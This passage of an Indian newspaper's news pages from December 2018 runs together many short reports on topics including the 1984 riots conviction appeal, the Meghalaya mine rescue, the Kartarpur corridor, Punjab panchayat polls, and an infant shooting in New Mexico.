emotions to the audience without being overboard and all over the place. Your intention as a dancer should be clear and reach out to the audience like you have thought," said the "Hero No.1" star. "A good dancer doesn't need too many words to communicate his feelings and should feel from within each and every move and words to convey his act," he added. IANS Lt Gen KJ Singh (retd) Lt Gen KJ Singh (retd) CERTAIN stories need to be told as a mark of gratitude to little-known skills of our Punjabi mistris and their craftsmanship. This one relates to the early 80s, when T-55s were our Main Battle Tanks (MBTs). The original tanks, when they came from Russia, had 100 mm guns, which though hardy and potent, were not accurate. India had a contemporary tank in its kitty, Vijayanta, imported from Britain. Vickers were licence-produced in India, but somehow did not meet quality control and reliability norms, especially in mobility parameters. Vijayanta, however, had a very reliable 105-mm rifled gun and the legendary jugaad instincts resulted in mating of the British gun on the T-55! It required some very fine balancing and matching of the recoil system, sights and firing circuits. Even basic ordnance had to be fitted with counter weights. This resulted in many countries apeing this improvisation and the initial dismissive approach of calling it a bastardised tank soon turned into open admiration. Tanks are ferried on lumbering monstrous-looking trains and transported from cantonments like Ambala to Babina ranges near Jhansi. These trains also carried training ammunition, which has since been discontinued as ammunition points have been set up at the ranges, thereby saving costs and effort. Trains had to pass through Delhi and politico-bureaucratic class had devised many safeguards, including an order that critical component to complete firing circuits will not only be disabled, but also carried in a separate passenger train. Paranoia got fuelled by incidents like the assassination of Egyptian President Anwar Sadat by tank-fire in a military parade. After firing, the same drill had to be repeated, so a designated senior JCO was carrying all fire needle assemblies (FNAs) in a bag. After hard work at the ranges, the natural antidote was a liberal dose of rum, aided by the euphoria of ghar wapsi, the JCO, while changing trains, forgot the bag. The net effect was that a front line Cavalry regiment was staring at the prospects of being declared unfit for war, and consequently many heads would have rolled. The issue was reported to the Commandant, who in those days were Tigers with broad shoulders. Various options were discussed. One was to get replacements made in Ludhiana. After all, these contraptions looked simple, machined, steel cylindrical pieces with a small conducting surface to complete the electric circuit. One sample, manufactured and tried out at Naraingarh ranges, was a roaring success, leading to a follow-up order to make up the entire inventory with few spares. When all this was done, the bag was found and returned by conscientious railway officials. We had a spare set, we knew that Made in Ludhiana saved the day. monicakchauhan@gmail.com Aditi Tandon Tribune News Service New Delhi, December 20 Convicted of abetting the murder of five persons in Delhi Cantonment during the November 1984 Sikh carnage, former Congress MP Sajjan Kumar today moved the Delhi High Court, saying he was shocked at his conviction and needed time to settle property matters within his big family. Kumar, 73, petitioned the HC for grant of an additional month to surrender, saying he believed in his innocence and wanted time to exercise his statutory right to appeal in the Supreme Court. Sajjan Kumar sought time until January 31, 2019, to surrender as against the December 31, 2018, the HC had ordered. HS Phoolka, the counsel for survivors Jagdish Kaur and Jagsher Singh who lost five members of their family, said he would oppose the petition. The CBI through its counsel would do the same. Kumar, in the application under Section 482 of the Code of Criminal Procedure, not only cited his big family of a son, two daughters and eight grandchildren to plead time to resolve matters of inheritance, but also told the HC that he needed time to brief senior apex court counsel to file an appeal against the December 17 conviction by the High Court. Presently most of the senior advocates are on holiday as the SC is closed for vacation. This applicant is the best person to brief his counsel. The applicant prays that he be granted further extension of 30 days, Kumar said. He added that he had been on bail all this while and had never violated bail terms. Kumar was the first senior Congress leader to be convicted for the 1984 killings of Sikhs. He quit the party a day after being convicted. monicakchauhan@gmail.com Bhopal, December 20 Former Madhya Pradesh Chief Minister Shivraj Singh Chouhan has hinted at his "earlier than expected comeback" to the treasury benches as the Kamal Nath-led Congress government may not last its full term of five years. Chouhan was meeting his supporters on his last night at the Chief Minister's residence late on Wednesday, when he assured them and said: "Don't worry about your future. Don't be despondent over what will happen to you, for I will be back." As Bharatiya Janata Party workers shouted slogans of Chouhan's return in five years, the former Chief Minister, who ruled the state for three straight terms before being ousted in a close contest in the aeeembly elections, said in Bollywood style: "Tiger abhi zinda hai (The King is till alive)." "Maybe it will not take an entire five years, may be I will be back sooner than you expect," Chouhan added. The Congress won 114 seats in the 230-member House. It fell two short of the magic number in a contest with the BJP (109) that went down to the wire. However, the Congress ensured the support of 121 MLAs with the Samajwadi Party (1), Bahujan Samaj Party (2) and four Independents backing it. IANS editorial@tribune.com Mumbai, December 20 In an apparent reference to the recent Bulandshahr mob violence, actor Naseeruddin Shah has said at many places the death of a cow is being given more importance than the killing of a policeman. The veteran actor also expressed anxiety over the well being of his children, who he said had not been brought up as followers of any particular religion. Shah made the comments in a video interview with Karwan-e-Mohabbat India and the organisation shared it on its YouTube channel on Monday. The actor said the poison has already spread and it will now be difficult to contain it. It will be difficult to put this genie back into the bottle. There is impunity for those who take law into their own hands. In many areas, we are witnessing that the death of a cow is more significance than that of a police officer. Shah, who is married to actor Ratna Pathak Shah, said they chose not to give any religious education to their children Imaad and Vivaan as he believes being good or evil has nothing to do with religion. His fear for his childrens safety is reminiscent of Aamir Khans comments on intolerance in 2015 that had sparked a row. He said, I had received religious education as a child. And we chose not to give religious education to our kids because I believe being good or evil has nothing to do with religion. These matters dont scare me, they make me angry... every right-thinking man should feel angry, not scared. This is our home, who dare evict us from here? PTI Anxious for children "I feel anxious for my kids because tomorrow if a mob surrounds them and asks, Are you a Hindu or a Muslim? they will have no answer. It worries me that I don't see the situation improving anytime soon." Naseeruddin Shah, actor shriaya.dutta@tribuneindia.com Chennai, December 20 With the failure of conciliation talks, about 10 lakh bankers in private and government banks will go on strike on December 26 protesting against the merger of Bank of Baroda, Dena Bank and Vijaya Bank, the All India Bank Employees Association (AIBEA) said on Thursday. "During the conciliation meeting held in Delhi today (Thursday), the Additional Chief Labour Commissioner advised the three banks and IBA (Indian Banks Association) to hold negotiations with the unions and convey the Union's concerns to the government," AIBEA General Secretary C.H. Venkatachalam told IANS. "No assurance came from either IBA or the government. Hence the conciliation talks failed and the December 26 strike stands," Venkatachalam added. The AIBEA is part of the nine unions in the banking sector under the umbrella body of United Forum of Bank Unions (UFBU). According to Venkatachalam, the strike was only against the bank mergers and there was no deadlock on the wage revision talks with IBA. India is largely unbanked or underbanked with low density of banks. Mergers will kill bank branches while the focus should be on recovering the huge outstanding loans, the AIBEA said. With Christmas on December 25, banks would effectively be closed for two days, affecting the banking public. Though the bankers had wanted the strike on December 24, a Monday, for a bigger impact as the banks would then be closed for four consecutive days (December 22-25), the unions decided to strike on December 26 to lessen the impact on public. IANS rchopra@tribunemail.com Chennai, December 20 Commotion prevailed at the office of the Tamil Film Producers Council (TFPC) here on Thursday when its president, actor Vishal Krishna, was detained by police for trying to force his entry into it by allegedly trying to break a lock put up by a rival faction. The rival faction of producers had locked up the premises on Wednesday, reportedly dissatisfied with the functioning of Vishal and his elected associates, besides levelling allegations of irregularities, police said. Visuals showed the actor-politician, who arrived at the TFPC office at T Nagar with his supporters, insisting on breaking the lock and entering the office, saying it was an unauthorised one. Police officials were seen advising him to wait as some government officials were on their way to address the issue, or at least bring the original key and open the lock. An adamant Vishal was seen insisting on breaking open the lock. An argument ensued between him and the police personnel following which he was detained for alleged unlawful assembly, police said. PTI monicakchauhan@gmail.com New Delhi, December 20 A 15-year-old girl succumbed to burn injuries at the Safdarjung Hospital here on Thursday, two days after she was set ablaze allegedly by unidentified men in Agra, police said. The class 10 student was on Tuesday waylaid by two unidentified men, who allegedly poured petrol on her and set her on fire with a lighter, they said. The girl had suffered 55 per cent burn injuries, including facial burns, and her airway was also burnt due to smoke and fumes which was creating a problem for her to breathe, a doctor at the Safdarjung Hospital said. Late at night, she was put on ventilator, but she could not make it and died at 1:30 am, he said. The girl was initially admitted to the SN Medical College hospital in Agra, but was later referred to the Safdarjang Hospital in New Delhi, police said. Police are on a look out for the accused who are absconding. PTI editorial@tribune.com Shillong, December 20 Mining engineer Jaswant Singh Gill, who had once rescued 64 people from a flooded quarry in West Bengal, on Thursday visited the rat-hole coal mine in Meghalayas East Jaintia Hills where over a dozen miners are trapped. He suggested that the state government should seek the help of Coal India in the rescue operation. Over a dozen miners were reportedly trapped on December 13 after water from the nearby Lytein river gushed into the illegal coal pit. All efforts made by the district authorities to trace them have turned futile. Chief Minister Conrad K Sangma said, The NDRF and the district administration are doing their best. The MHA is being updated on the situation. One gentleman from Punjab (referring to Gill) is also at the site, the CM said, adding that the former mining engineer is a rescue expert. A resident of Amritsar, Gill had received several awards for his act of bravery in 1989. He had volunteered and saved lives of 64 miners from a flooded mine in Raniganj area of West Bengal. Meanwhile, SK Singh, a member of the National Disaster Response Force, on Thursday expressed disappointment over the fact that the water level in the mine had risen considerably following Tuesdays incessant rain. Over 100 personnel from the NDRF, the Meghalaya Disaster Response Force and the state police are currently camping at the site, waiting for its water level to recede to begin their operation. Despite putting into service two 25 Hp pumps, the water level in the mine has not subsided, Singh said. One person, identified as Krip Chullet, has been arrested in connection with the mine disaster. Chullet was allegedly involved in hiring labourers, overseeing the work and sending them down the shaft. Disaster Management Minister Kyrmen Shylla said there was little chance of the miners being rescued alive. Admitting that rat-hole mines in Meghalaya are nothing less than death traps, Shylla said a similar incident in 2012 had claimed lives of 14 miners in South Garo Hills. It has been a week since the miners were trapped in the pit. Only a miracle can save them, he added. PTI editorial@tribune.com Vibha Sharma Tribune News Service New Delhi, December 20 With allies openly challenging the BJP and worried MPs from Uttar Pradesh raising concerns over the Ram Temple after recent defeats in five states, the saffron party and parent organisation RSS have started brainstorming over ways to reclaim lost ground. While Maharashtra ally Shiv Sena targeted the BJP over the Ayodhya issue, labelling its promise of Ram Temple as yet another jumla, Bihar partner LJP questioned Prime Minister Narendra Modis controversial demonetisation move. Several issues, including those related to the Ram Temple, prevailing anger among the farming community and disenchantment among traditional vote bank the middle class are worrying the party and are believed to have also been discussed at a meeting between BJP chief Amit Shah and RSS general secretary Bhaiyaji Joshi last night, say sources. Though party leaders dismissed it as a routine meeting, for observers its significance cannot be discounted in the given circumstances. There are concerns over Central and state government schemes not addressing the grassroots discontentment among youth and upper caste voters. The Sangh, according to sources, is pushing economic and agrarian measures and changes in policies to win back those who supported it in 2014. Campaigns to drum up support for building the Ram Temple in Ayodhya are also in the pipeline, they say, adding the BJP and RSS have worked out events to keep the demand for legislation alive and ensure better coordination between the party and its parent organisation. Shah is expected to visit the dharma sansad at the Kumbh Mela in Prayagraj and later in January a coordination meeting between the BJP and Sangh will discuss in detail all issues of concern. Attempt to pacify sulking Paswans After Upendra Kushwaha's exit, senior BJP leadership on Thursday worked to pacify another sulking regional ally from Bihar the Lok Janshakti Party (LJP) unhappy with delay in decision over seat sharing. While senior leader Bhupendra Yadav called on LJP supremo Ram Vilas Paswan and son Chirag, the two later met BJP chief Amit Shah. The LJP, which contested six seats in 2014, is eyeing seven constituencies of Bihar's 40 LS seats besides an RS slot for Paswan. TNS shriaya.dutta@tribuneindia.com Agra, December 20 A 15-year-old Dalit girl, who was set on fire by two unidentified men in Uttar Pradesh here, has succumbed to her injuries in a Delhi hospital after struggling for life for 36 hours, police said on Thursday. The Class 10 student, identified as Sanjali, died late on Wednesday in Safdarjung Hospital, authorities said. On Tuesday afternoon, two bike-borne attackers stopped the student on her way home in Lalau village, 20 kms from here, and emptied a bottle of petrol on her and set her ablaze. She was rushed to the SN Medical College with 75 per cent burns and then referred to the Safdarjang Hospital in the national capital. The accused have not been traced yet, police said. IANS rchopra@tribunemail.com Mumbai, December 20 Software engineer Hamid Nihal Ansari, who spent six years in a Pakistani jail on charges of espionage, returned to his hometown Mumbai on Thursday morning, two days after he was handed over to India at the Wagah-Attari border. Ansari, 33, along with his parents left from New Delhi in the morning in an Air India flight and arrived at the Mumbai airport around 9.30 am, his father Nihal Ansari said. Relatives, friends and well-wishers greeted Ansari and cheered for him as he came out of the airport. The family then left for their residence in suburban Versova. Ansari was arrested in Pakistan in 2012 for illegally entering that country from Afghanistan, reportedly to meet a woman he had befriended online. Authorities in Pakistan slapped espionage charges against him. The Mumbai resident, who returned to India on Tuesday after crossing the Wagah-Attari border, was imprisoned in the Peshawar Central Jail after being sentenced by a military court on December 15, 2015. According to official sources, India issued 96 notes verbales to Pakistan seeking consular access to Ansari. The decision to release him was taken on account of relentless pressure from New Delhi, they said. Shortly before his arrival on Tuesday, his mother Fauzia Ansari had told reporters that the prayers of the family and of all those who wished for his safe return were answered. His father had said it was a new dawn for them. Ansari and his family have thanked External Affairs Minister Sushma Swaraj and her ministry for persisting with the case and taking it up with Islamabad. His jail term ended on December 15 but he was not able to leave for India as his legal documents were not ready. On Thursday, the Peshawar High Court gave the Pakistan government a months deadline to complete his repatriation process. Ansari had an emotional interaction with Swaraj on Wednesday as he narrated the difficult phase he had to endure through in Pakistan. PTI editorial@tribune.com Mumbai, December 20 The Maharashtra Government today announced Rs 150 crore as relief to onion farmers. The decision by the state Cabinet came amid reports about farmers selling freshly harvested onion at as low as Rs 1.50 a kg in the state, the top producer of the bulb in the country. The financial relief consists of an ex gratia payment at the rate of Rs 200 per quintal (with an upper limit of 200 quintal per onion farmer) for the kitchen staple sold between November 1 and December 15, 2018. Principal Secretary (agricultural marketing) Anoop Kumar said the decision would be applicable to 75 lakh metric tonne of onions. Chief Minister Devendra Fadnavis asked the officials concerned to prepare a comprehensive policy for onion. Last month, farmer Sanjay Sathe from Nashik district had sent his earnings of Rs 1,064 after selling 750 kg of his produce in a wholesale market to the Prime Minister's Office (PMO) in protest. The PMO had later returned the farmers money order. The farmer had said his intention was to prompt the government to take steps to ease the financial stress that farmers were suffering because of the low prices. Another farmer from Ahmednagar, Shreyas Abhale, had sent a money order of Rs 6 to the CM as a mark of protest against the crashing prices of onion and the paltry returns. Abhale had said after selling 2,657 kg onion at the rate of Rs 1/kg at the Sangamner wholesale market and adjusting market expenses, he was left with only Rs 6. PTI Now, Swaminathan supports genetic modification New Delhi, December 20 Leading agriculture scientist MS Swaminathan has said he supports modern technologies, including genetic modification and gene editing, days after Indian researchers denounced him for co-authoring a research paper criticising genetically modified (GM) crops. In a statement published on the website of the MS Swaminathan Research Foundation, the father of Green Revolution, said, I wish to reiterate my total commitment and support to modern technologies, including genetic modification and gene editing. The paper was criticised by K Vijay Raghavan, principal scientific adviser to the government, calling the review severely flawed and needing scientific rebuttal. In reply, Swaminathan had said, It is unfortunate if the article has created the impression that I am opposed to GM as a technology. PTI editorial@tribune.com Ajay Banerjee Tribune News Service New Delhi, December 20 Did former Union Minister and senior Congress leader Verrappa Moily, in a statement in Hyderabad on Thursday, wrongly accuse Indian Air Force (IAF) Chief Air Chief Marshal BS Dhanoa of lying in the matter of purchase of 36 Rafale fighter jets from Dassault aviation of France? Moily said: In government records, the Defence Ministry and the IAF Chief wanted HAL (Hindustan Aeronautics Limited) to be involved (in making the Rafale fighter jets). The IAF Chief at that time visited HAL with Dassault and found it competent and that they have the expertise. I think IAF chief is not fine, hes lying; hes suppressing the truth. Just yesterday, the IAF Chief was at the Jodhpur air base to witness the India-Russia joint exercise where, at a media interaction, he was asked three separate questions on Rafale and he had categorically refused to be drawn into political comments and did not even mention HAL or Reliance, that is Dassualts partner in India. The IAF Chief said: Who said Rafale is not needed? The government is saying it is needed. We are saying we need it. The SC judgment is very good. It has taken time to get the planes. Our adversaries meanwhile have upgraded. The Supreme Court has given a fine judgment. I am not going to comment on the SC verdict. The Finance Minister and the Raksha Mantri (Official designation of the Defence Minister) have given their comments. The SC last week dismissed petitions seeking a probe. The IAF, he said, had clarified on technical details. I will not go into the politics of it that is a separate issue. There is no argument on the technical requirement of the plane given our strategic scenario, he said. Hes suppressing truth "The Defence Ministry and the IAF Chief wanted HAL (Hindustan Aeronautics Limited) to be involved (in making Rafale jets). He at that time visited HAL with Dassault and found it competent hes lying, suppressing the truth." Verrappa Moily, Cong Leader rchopra@tribunemail.com Hyderabad, December 20 A Nigerian national was on Thursday arrested for allegedly duping an electrician of Rs 5 lakh by promising to obtain foreign funds for charity work in the country, police said. According to Assistant Commissioner of Police, Cyber Crime Department of Rachakonda, S Harinath, accused Kelly Igheghe was arrested at the Delhi Airport on December 15 and brought here on Wednesday night on a transit warrant. Another three who were allegedly involved in the case were still at large. Igheghe and his team cheated Mohammed Akram by promising him foreign funds to be utilised for charity work in India and made him deposit Rs 4.81 lakh on different occasions citing various reasons such as fee for RBI clearance, tax and other formalities. We also found that Igheghe was illegally staying in India even after the expiry of his visa. We nabbed him at the Delhi Airport while he was about to take a flight to leave the country. We have also issued a Look Out Circular (LOC) to all airports for the gang, the police official told PTI. The victim lodged a complaint with the police on April 2, based on which investigation is on, police said. PTI gspannu7@gmail.com Smita Sharma Tribune News Service New Delhi, December 20 Home Minister Rajnath Singh on Thursday hit out at separatists in Jammu and Kashmir, saying they exploit every possible situation to fan anti-India sentiments and incite the people. Inaugurating the annual conference of Directors General and Inspectors General of Police at the site of the tallest statue of Sardar Vallabhbhai Patel in Gujarat, the home minister said the Pakistan establishment is seeking to forge an alliance between the Sikh extremist groups, their country's Islamist outfits and Kashmir-focused terrorists to hurt Indian interests. The three-day conference kicked off today at Kevadia, the venue of Statue of Unity and will be addressed by Prime Minister Narendra Modi too. Home Minister Rajnath Singh directed the security establishment to check efforts to revive terrorism in Punjab. In Punjab, recent terror incidents and related interdictions indicate concerted efforts on part of Pakistani establishment and Sikh extremist elements based in Pakistan to revive terrorism in Punjab with active support of other Sikh radical entities based abroad, especially Europe and America. Pakistani establishment is also seeking to forge an understanding between Sikh extremist groups and Pakistan-based Islamist outfits as well as Kashmir-centric terrorist groups for targeting Indian interests, he said. According to sources, the conference will also deliberate upon counter-terrorism efforts at containing Pakistan- sponsored terrorism in Kashmir and new age methods used by disruptive elements and analysis and counter-strategy for misinformation on social media. Claiming that stone pelting incidents have declined, the minister accused Pakistan of vitiating atmosphere in the Valley. Terror infrastructure in Pakistan and PoK remains in the form of training camps, launching pads and communication control stations, said Singh. Financing from across for militants and separatists is a cause of concern. The separatists also exploit every possible situation to agitate the people to fan further anti-India sentiments which leads to law and order situation, he added. Singh further accused cyber attacks from across the border on important installations and sensitive ministries. Pakistan continues to abet terrorism and during the period January 1, 2017, to November 29, 2018, 17 ISI-backed espionage modules have been neutralised in the country resulting in the arrest of 25 espionage agents which include two Pakistanis, he said. The home minister claimed that security scenario in the Northeast has improved with 17 per cent decline in total incidents compared to 2017. A number of militant groups are operating from the territories of neighbouring countries, particularly Myanmar. Our concerns have been highlighted in the bilateral meetings with these countries, he said. He also remarked that violence in LWE (Left-wing extremism) affected states continues to improve since last eight years while communal incidents have decreased by 12 per cent compared to last year. Singh also asked officials to be cautious in their dealings with foreigners keeping national security in mind and interact with officials of foreign missions only as per prescribed rules. monicakchauhan@gmail.com Chandigarh, December 20 Punjab Chief Minister Amarinder Singh has strongly condemned toilet seats with the image of the Golden Temple being reportedly sold by a company on an online retail website. Strongly condemn use of pictures of Sri Darbar Sahib with toilet seat by Philiphome Universal. It has hurt the religious sentiments of Sikh community worldwide. Demand immediate withdrawal of the seat by the company and an apology. pic.twitter.com/LE4yKOkxjp Capt.Amarinder Singh (@capt_amarinder) December 19, 2018 He was apparently referring to a claim by a Sikh body in the US that doormats, rugs and toilet seat covers with the image of the Golden Temple were being reportedly sold by some sellers on Amazon. The Sikh Coalition said in a statement on Tuesday that it was alerted to products such as doormats, rugs and toilet seat covers with the image of one the most historically significant Sikh sites, the Golden Temple, were being sold by some sellers on Amazon. The chief minister said it has hurt the religious sentiments of the entire Sikh community. "Strongly condemn use of pictures of Sri Darbar Sahib with toilet seat by Philiphome Universal. It has hurt the religious sentiments of Sikh community worldwide. Demand immediate withdrawal of the seat by the company and an apology," Amarinder Singh said in a tweet. The chief minister also sought an apology by the company which used the image of the Golden Temple in a wrong way. The Sikh Coalition, a civil and legal rights organisation, said in the hours since, through community outreach, several pages have been removed from the website. The products seem to have been removed from Amazon's website as a message that "Sorry, we couldn't find that page" appears when running a search for the items, it said. "It has come to our attention that several sellers are posting products onto your platform that culturally appropriate the imagery of the Golden Temple and spiritual imagery of other eastern cultures," the Sikh Coalition's senior manager of advocacy and policy Sim Singh said in a letter to Amazon CEO Jeff Bezos and Senior Vice President and General Counsel David Zapolsky. PTI editorial@tribune.com Tribune News Service Batala, December 20 Despite the fact that 24 hours have passed since a Congress sarpanch candidate was shot at, the Batala police are still trying to figure out the identity of the attacker with many senior officers claiming him to be dreaded gangster Supreet Singh Harry Chatha. Chatha, who was one of the masterminds of the 2016 Nabha jailbreak, is wanted in several cases. He is a proclaimed offender. Sukhwant Singhs son Gurjinder Singh, against whom two criminal cases have previously been registered by the Batala police, was shot at late last night. He was admitted to the Batala civil hospital. SSP Opinderjit Singh Ghuman had ordered the registration of an FIR against Chatha and Pavittar Singh. A case under Section 307 of the IPC has been registered. Chathas mother Sukhjinder Kaur is contesting for the post of panch from her village. There are two aspirants for sarpanch from the Congress. They are Sukhwant Singh and Pavittar Singh, with the latter apparently enjoying the backing of the gangster. I ordered the registration of an FIR based on the statement given by Gurjinder, who claimed he had seen Chatha and Pavittar on a motorcycle before the former opened fire. He told my officers that since he belonged to the same village as Chatha, he knew him well. He also described some personal description marks which seemed to be matching with those of the gangster. I have formed four teams to crack the case, the SSP said. editorial@tribune.com Chandigarh, December 19 The Kartarpur corridor from Dera Baba Nanak in Gurdaspur district up to the international border will cost Rs 85-Rs 100 crore, officials said on Wednesday. The corridor will be built by the National Highways Authority of India (NHAI). Public Works Department (PWD) Minister Vijay Inder Singla said: A sum of Rs 85 crore to 100 crore is estimated to be spent on constructing the corridor. It would also involve the cost of land acquisition for the four-laned highway from Dera Baba Nanak up to the international border, he said. The Union Cabinet had, on November 22, decided to develop and build the passage from Dera Baba Nanak to the Indo-Pak border. Following this, the foundation stone for the corridor was laid on November 26. The Pakistan government had also held the groundbreaking ceremony of the corridor on their side on November 28. Kartarpur is located at Shakargarh in Narowal district of Pakistans Punjab. The gurdwara in Kartarpur is located about 3-4 km from the Indo-Pak border in Pakistan. The state Cabinet had recently passed a resolution to set up a Dera Baba Nanak Development Authority for the development and beautification of the area in and around the historic town. A Kartarpur gate has also been proposed to be set up on the Indian side of the international border which would stand out as a monumental symbol to commemorate the 550th Parkash Utsav of Guru Nanak Dev. PTI amansharma@tribunemail.com Tribune News Service New Delhi, December 20 Pakistan on Thursday rejected a resolution passed by the Punjab Assembly recently demanding that Islamabad should swap Kartarpur with India for another piece of land. "Regarding Kartarpur, there is absolutely no question of any land swap," responded Pakistan Ministry of Foreign Affairs spokespeson Mohammad Faisal today. "The Kartarpur Corridor was a gesture for the Sikh minority community made on their request to provide a visa-free corridor, facilitating their visit of a shrine of importance to them," he added. The Punjab Assembly had unanimously passed a resolution seeking land swap with Pakistan to make Gurdwara Kartarpur Sahib part of Indian territory. The state government had decided to take up the proposal with the Central Government, offering over 11,000 acres in exchange for the land on which Kartarpur Sahib is located on the banks of the Ravi. monicakchauhan@gmail.com Shillong, December 20 The Punjabi community here on Wednesday urged Governor Tathagata Roy to disband a state governemnt formed panel, headed by the deputy chief minister, for allegedly issuing orders with an intent to displace members of the community. Leaders of the Harijan Panchayat Committee, an organisation representing the community, also requested Roy to take proactive steps to ensure that the authorities provide land pattas to the 218 Sikh families living in the area. The government set up a high-level committee headed by Deputy Chief Minister Prestone Tyngsong to consider all aspects of the violence that took place earlier this year. Shillong Sikhs delegation met Meghalaya Governor and submit memorandum as Meghalaya Govt. wants to vacating them forcefully from Punjabi Lane area about 350 Sikh families residing there since 200 years. Sikh families feeling unsafe. GURJIT Singh (@GURJITS45740921) December 19, 2018 The High Level Committee "has been issuing illegal orders for survey of properties of the poor Sikhs to the Shillong Municipal Board with the intention of dislocation of Sikhs," Harijan Panchayat Committee chairman Gurjit Singh said in a memorandum submitted to the governor. The high-level committee has been acting in a biased and malafide manner, he alleged. The delegation informed the Governor that the Sikhs came from Punjab more than two centuries ago to serve the army here and became part and parcel of this society over the years. Although non-indigenous people do not have the rights to own land in the state, the community urged the governor of their struggle for right to live and right to housing. The delegation also requested the Governor to direct the state government to officially name the area as "Punjabi Colony". Currently the area where the Punjabi community people live here is known as Sweepers' Colony. The Meghalaya government recently expressed unhappiness with the decision of the Punjab government approving Rs 60 lakh compensation to the Sikh community residing here who were affected during the violence in June. On May 29 this year, clashes erupted when a bus driver and his friend were attacked at the Sweepers Colony area and they received injuries. As rumours of the assaulted victims dying in hospital spread on social media, people attacked the residents following which the entire area was put under curfew for over a month. PTI editorial@tribune.com Tribune News Service Moga, December 20 After the issuance of notice of rejection of nomination papers of 39 candidates in the ensuing panchayat elections in the Kot-ise-Khan block of the district, SAD candidates staged a protest against Chief Minister Capt Amarinder Singh and Congress MLA Kaka Sukhjit Singh Lohgarh outside the BDPO office. The protest was led by Akali leader Parminder Singh, an aspirant for the post of sarpanch from Manawan village. His name also figured in the list of notices issued by the administration. The protesters alleged that the local Congress leadership was bent upon rejecting the nomination papers of the opposition parties and the official machinery was hand-in-glove with them. Senior SAD leader Tota Singh has alleged that the district administration was playing in the hands of Congress leaders in rejecting the nomination paper of Akali candidates. He announced that the SAD would stage a protest against the Congress at Kot-ise-Khan town on Friday. We urge the State Election Commission to intervene into the matter because SDMs have been rejecting the nomination papers of opposition candidates in the district under political pressure of the Congress, he said. We will do whatever needs to be done to protect the democratic rights of our candidates, he added. He warned the police not to indulge in issuing threats to the candidates of the opposition parties, or else the SAD would file legal cases against them. Rozy leads protest Muktsar: SAD activists under the leadership of local MLA Kanwarjit Singh Rozy Barkandi on Thursday lodged a protest outside the municipal council office, alleging that the election officials were set to reject the nominations of some of their candidates. Rozy said the lists of candidates after scrutiny, which had to be displayed by 3 pm, were not even displayed till late evening, which indicated an attempt of malpractice. The lists were later displayed and the Akalis dispersed. TNS editorial@tribune.com Tribune News Service Chandigarh, December 20 Chief Minister Capt Amarinder Singh has lashed out at SAD chief Sukhbir Singh Badal for once again trying to drag the innocent Gandhi family into the 1984 riots case. He said if he was so concerned, why he was so silent about the involvement of RSS workers in the riots. The Chief Minister said it was evident that Sukhbir was desperately trying to grab at straws to fight back into the electoral game ahead of the parliamentary polls. He said, If Sukhbir is really concerned about punishing the guilty, why has he never raised the issue of the 22 RSS/BJP workers named in the FIR registered at the Tughlaq Road police station? The Chief Minister reiterated his stance that while individuals who had any role to play in spreading mayhem against the Sikhs deserved to be punished and should pay for their crimes, it was irrational to try and drag the Congress party as a whole, or the Gandhis into the case. laxmi@tribune.com MR. Lloyd George was clearly in a bellicose mood in his speech at Camberwell. He would not allow the Labour party to call itself by that name, because it did not represent all the Labour of the United Kingdom. Of Mr. Ramsay Macdonald and Mr. Snowden he said they were not manual workers and that if they had had their way, Belgium and France would have been overrun and Germany would now have had the whole continent under her cruel heel. Of the men controlling the Labour party he said that they were extremists, pacifists and Bolsheviks. Even the Liberal party, it seems, had no right to call itself a party, because one half of it was supporting the coalition. It is certain that the language in which they are expressed is not the language of a man absolutely confident of victory. The tone of this speech, coupled with more or less complete silence of Reuter telegrams on the subject, seems to indicate that all is not going well with the Coalition. shriaya.dutta@tribuneindia.com Gallup, December 20 The screams of a teen caught the attention of Casey Franchot while eating at a Taco Bell. "My baby's been shot! My baby's been shot!" Shayanne Nelson yelled while holding an infant in a blood-soaked blanket. The 43-year-old former US Army medic dropped his food and dashed across the busy the historic Route 66 highway in Gallup, New Mexico to a motel to investigate. He found what police described as a chaotic scene involving a distraught mother, a baby with a gunshot wound to the face, a confused 3-year-old boy and boyfriend trying to wipe away evidence. The scene also, a family member says, was the latest in a series of tragic episodes linked to a controlling boyfriend and a poor, Navajo teenage mom who hasn't fully recovered from the death of her fiance. Gallup police say detectives are still trying to connect the moments leading to a when a bullet from a .32 caliber revolver struck the face of an 8-month-old girl near her left ear and her left eye. The bullet, one officer said, left the infant deaf in one ear and may leave her blind in one eye. According to a police report, officers arrived at the December 8 scene to find Franchot working to stop the baby from choking on her own blood. A 3-year-old boy stood on the passenger seat wearing only a diaper despite freezing temperatures outside. A frantic Nelson kept punching her car and crying. But who fired the gun remains a mystery. Nelson, 18, told police minutes after the shooting that she and her boyfriend, Tyrell Bitsilly, were in a shower at the Zia Motel when they heard a gunshot. She ran out to discover her daughter on the bed and bleeding from the face, she told police. Nelson said she believed her 3-year-old found a gun left by a prior occupant and accidentally shot his infant sister. But Franchot said as he worked to save the baby's life in the motel room, he saw Bitsilly, 21, wiping the gun with a towel. "I was also prepared to grab the baby and roll on the room for cover in case he started shooting," Franchot said. Franchot then jumped in a police vehicle to rush the baby to Gallup Indian Medical Center. On the way, the officer warned Franchot every time they approached a bump, Franchot said. Gallup Police Officer Darius Johnson told The Associated Press in an interview Wednesday that the 8-month-old girl now was being treated at an Albuquerque hospital and is in an induced coma. At the scene, Nelson and Bitsilly were arrested and charged with child abuse. Police also charged Bitsilly with tampering with evidence. However, court records show the December shooting wasn't the first time police linked Bitsilly to a shooting involving Nelson and her two children. In October, Gallup police arrested Bitsilly after authorities say he fired a weapon inside a car with Nelson, her mother and the two young kids. Bitsilly was charged with aggravated assault with deadly weapon, child abuse, shooting from a motor vehicle and tampering with evidence, court records said. "Shayanne was trying to break up with him," Shanna Nelson, 39, the sister of Shayanne, said in an interview. "He got mad and shot at the (car's) floorboard." After the October shooting, Shayanne promised to get a restraining order against Bitsilly, her sister said. The pair had been dating off and on since Shayanne's fiance and the father of her two children was killed in a car accident last year, Shanna Nelson said. He was often emotionally and physically abusive, she said. But the emotionally depleted Nelson, who regularly found herself with no place to stay, returned to Bitsilly for comfort and out of fear, according to her sister. During a court appearance Wednesday, Shayanne walked into court and waved to her sister and her niece. When McKinley County Magistrate Judge Robert Baca announced he was keeping her bond at $20,000, she threw her head back. "She doesn't have $2,000 to get out," her sister said. "None of us do." The 18-year-old stood motionless as lawyers agreed to postpone the preliminary hearing until January 9 thanks to new video evidence. As police escorted Shayanne Nelson out, her tearful sister yelled, "We love you, Shayanne!" The young mother didn't look back. AP pardeepdhull@gmail.com Chicago, December 20 Almost 700 clergymen in Illinois have been accused of child sexual assault, a far greater number than the Catholic Church had previously disclosed, the Midwestern US states top prosecutor has revealed. Illinois Attorney General Lisa Madigan said on Wednesday the Churchs revelations 